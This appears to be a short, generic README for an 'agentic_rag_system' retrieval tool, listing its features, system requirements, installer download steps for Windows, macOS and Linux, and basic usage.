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🚀 agentic_rag_system - Simple Tool for Smart Retrieval

📦 Download Now!

🌟 Overview

The agentic_rag_system helps you retrieve information smartly and effectively. It features self-correcting abilities, detects errors in data, and uses LangGraph for better organization. Enjoy multi-iteration query rewriting and get streaming responses with useful metrics.

🚀 Getting Started

To begin using the agentic_rag_system, follow these simple steps:

🖥️ System Requirements

• Operating System: Windows 10 or later / macOS Mojave or later / Linux (Debian-based)
• Memory: At least 4 GB RAM
• Disk Space: Minimum of 500 MB free space
• Internet connection for initial setup and updates

📥 Download & Install

1. Visit the download page: Go to the Releases page to find the latest version.

2. Choose the right file for your operating system:
   • For Windows, download the agentic_rag_system_windows.exe.
   • For macOS, download the agentic_rag_system_macos.dmg.
   • For Linux, follow the included instructions to install via package manager or use the provided binary.

3. Once the file is downloaded, locate it in your downloads folder.

4. Run the installer:
   • For Windows, double-click the .exe file.
   • For macOS, open the .dmg file, then drag the application to your Applications folder.
   • For Linux, follow the terminal commands provided in the README associated with your download.

5. Follow the prompts in the setup window to complete the installation.

6. Launch the application:
   • Find the application in your Start menu (Windows), Applications folder (macOS), or system applications menu (Linux).

⚙️ Features

• Self-Correcting Retrieval: Automatically improves the accuracy of the returned information.
• Hallucination Detection: Identifies and corrects misleading or incorrect data.
• LangGraph Orchestration: Enhances organization of user queries and responses.
• Multi-Iteration Query Rewriting: Continuously refines your search questions for the best results.
• Streaming Responses: Provides smooth and continuous information flow without long waiting times.
• Comprehensive Evaluation Metrics: Helps you analyze the performance of your retrieval requests.

💡 How to Use

1. Open the Application: Start agentic_rag_system from wherever you installed it.

2. Input your query: Enter your question or keywords related to the information you wish to find.

3. View the Results: The system will display the most accurate results based on the information processed.

4. Fine-tune your query: Utilize the multi-iteration feature to adjust your search as needed.

5. Analyze the Results: Use the evaluation metrics to understand how well your query performed.

📚 Documentation

For detailed usage instructions, please see the full documentation found in the docs folder within the installation path. This includes information on advanced features and troubleshooting.

👥 Community & Support

If you face any issues or have questions, feel free to join our community forum. You can find helpful discussions and tips from other users.

🙏 Acknowledgments

Thank you for trying out agentic_rag_system! Your feedback is invaluable for improving the application.

📍 Additional Links

• Full Documentation
• GitHub Repository
• Releases Page

For any additional information, check the Releases page or reach out to our support team. Enjoy using agentic_rag_system!